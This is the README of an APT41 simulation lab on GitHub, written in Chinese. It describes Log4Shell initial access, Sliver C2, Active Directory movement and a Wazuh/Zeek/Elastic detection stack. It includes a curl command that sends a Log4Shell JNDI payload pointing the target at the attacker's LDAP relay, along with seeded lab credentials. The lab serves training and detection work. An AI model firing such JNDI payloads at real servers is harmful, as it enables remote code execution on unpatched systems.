anpa1200/dragonrx-lab

GitHub: anpa1200/dragonrx-lab

一个模拟 APT41 攻击行动的全栈网络安全实验环境,整合了攻击链路复现与多层检测防御体系。

Stars: 0 | Forks: 0

# DragonRx 实验室 — APT41 攻击模拟 全栈 CTI 实验室,模拟 APT41 DragonRx 行动:Log4Shell 初始访问、Sliver C2、Active Directory 横向移动,以及双层检测(Wazuh + Zeek + Elastic)。 Medium 系列文章的配套资料:**[Operation DragonRx — 模拟 APT41](https://medium.com/@1200km)** ## 技术栈 | 层级 | 组件 | |-------|-----------| | **攻击** | Kali Linux · Sliver C2 v1.7.3 · marshalsec JNDI 中继 | | **目标** | 存在 Log4Shell 漏洞的 Spring 应用 (CVE-2021-44228) · Windows Server 2019 AD · Windows 10 工作站 | | **检测** | Wazuh 4.7.0 · Elasticsearch 8.11 · Kibana · Zeek 6.2.1 · Sysmon | | **编排** | Docker Compose · Vagrant (VirtualBox) · Ansible | **网络:** - `10.0.0.0/24` — 攻击端(Kali, Sliver C2, JNDI 服务器) - `192.168.10.0/24` — 目标端(AD 域, 工作站, SIEM) ## 快速开始 ### 仅 Docker(Linux 容器,无 Windows 虚拟机) ``` git clone https://github.com/anpa1200/dragonrx-lab cd dragonrx-lab docker compose up -d # 安装自定义 Wazuh 检测规则 until docker exec dragonrx_wazuh pgrep wazuh-analysisd >/dev/null 2>&1; do sleep 5; done docker cp siem/wazuh/rules/dragonrx_rules.xml dragonrx_wazuh:/var/ossec/etc/rules/ docker exec dragonrx_wazuh /var/ossec/bin/wazuh-control restart ``` ### 完整部署(Docker + Windows 虚拟机 + Ansible) ``` # 一个脚本 — 相当于按顺序运行所有 make targets bash scripts/deploy.sh # 选项: bash scripts/deploy.sh --skip-vms # reuse already-running VMs bash scripts/deploy.sh --skip-ansible # skip Ansible reprovisioning bash scripts/deploy.sh --no-test # skip validation suite ``` ### Makefile 快捷方式 ``` make up # full deploy (Docker + Vagrant + Ansible) make down # stop everything, preserve volumes make reset # destroy all state (volumes + VMs) make attack # run attack scenario from Kali make shell # drop into Kali container make status # show container + VM state make test # run Ansible validation suite ``` ## 访问入口 | 服务 | URL / 命令 | |---------|--------------| | Kibana SIEM | http://localhost:5601 | | Kali shell | `docker exec -it dragonrx_kali /bin/bash` | | Sliver C2 | `docker exec -it dragonrx_c2 sliver` | | Log4Shell 目标 | `http://10.0.0.100:8080/` (标头: `X-Api-Version`) | | JNDI LDAP 中继 | `ldap://10.0.0.20:1389` | ## 前置条件 | 要求 | 版本 | |-------------|---------| | Docker + Compose 插件 | ≥ 24 | | Vagrant | ≥ 2.3 | | VirtualBox | ≥ 7.0 | | Ansible | ≥ 9 | | Python pywinrm | `pip3 install pywinrm` | | Vagrant 插件 | `vagrant plugin install vagrant-reload vagrant-hostmanager` | | Vagrant boxes | `StefanScherer/windows_2019`, `StefanScherer/windows_10` (每个约 8 GB) | ## 目标网络 ``` 10.0.0.100 WEB01 Log4Shell app (CVE-2021-44228) Port 8080 (HTTP) 10.0.0.20 jndi Marshalsec LDAP relay Port 1389 (LDAP) 10.0.0.10 c2 Sliver C2 Port 31337 192.168.10.10 DC01 Windows Server 2019 AD novatech.local 192.168.10.20 FS01 Windows Server 2019 Research + Manufacturing shares 192.168.10.50 WS01 Windows 10 (jsmith) Domain-joined workstation ``` **预置凭据(来自 Ansible 配置):** ``` svc_ldap / NovaTech2021! (in app env — to discover) jsmith / Research#2024 (domain user, local admin on WS01) svc_backup / Backup_Svc99! (Kerberoastable) Administrator / NovaTech_Admin2024! (Domain Admin) ``` ## 触发漏洞利用(在 `docker compose up` 之后) ``` # 1. 确认 JNDI 回调(无代码执行) curl -s http://10.0.0.100:8080/ \ -H 'X-Api-Version: ${jndi:ldap://10.0.0.20:1389/test}' # 2. 检查 JNDI 服务器是否收到回调 docker logs dragonrx_jndi 2>&1 | tail -3 # 预期:"Send LDAP reference result for test redirecting to http://10.0.0.20:8080/Exploit.class" # 3. Kibana — 搜索 Wazuh 告警 # Index: wazuh-alerts-* | rule.id: 100110 ``` ## 仓库结构 ``` dragonrx-lab/ ├── Makefile # make up / test / attack / shell / down / reset ├── Vagrantfile # DC01 (WS2019), FS01 (WS2019), WS01 (Win10) ├── docker-compose.yml # 8 Linux containers, two named subnets ├── scripts/ │ ├── deploy.sh # one-script full deployment │ ├── setup_routing.sh # iptables bridge: Docker ↔ VirtualBox │ └── fix_vboxdrv.sh # rebuild VBoxDRV DKMS module if needed ├── ansible/ # provisioning playbooks + roles ├── c2/ │ └── Dockerfile.sliver # Sliver v1.7.3 from GitHub releases ├── jndi/ │ ├── Dockerfile.jndi # eclipse-temurin:11 + Maven-built marshalsec │ └── start.sh # launch payload HTTP server + LDAP relay ├── siem/ │ ├── wazuh/rules/dragonrx_rules.xml # 8 custom detection rules (100110–100170) │ ├── zeek/local.zeek # Log4Shell JNDI + DNS tunnel heuristic │ └── sysmon/sysmonconfig.xml # EID 1,3,7,10,11,22 └── targets/ └── web01/Dockerfile.log4shell # reference only — compose uses pre-built image ``` ## 许可证 MIT — 可自由用于教育、研究和防御性安全培训。 ## 1200km 生态系统 本项目是 1200km 安全研究生态系统的一部分。使用 [AdversaryGraph](https://1200km.com/adversarygraph/) 进行 CTI 到检测的工作流处理、ATT&CK/ATLAS 映射、攻击者关联性分析、IOC 丰富化,以及面向分析师的报告生成。 - [AdversaryGraph 项目主页](https://1200km.com/adversarygraph/) - [AdversaryGraph 文档](https://1200km.com/adversarygraph-docs/) - [在线 ATT&CK/ATLAS 工作区](https://1200km.com/threat-matrix/) - [1200km 安全研究生态系统](https://1200km.com/)
标签:Ansible, CISA项目, IP 地址批量处理, PE 加载器, Sliver C2, Wazuh, 漏洞模拟, 系统提示词, 网络威胁情报, 请求拦截, 越狱测试, 靶场环境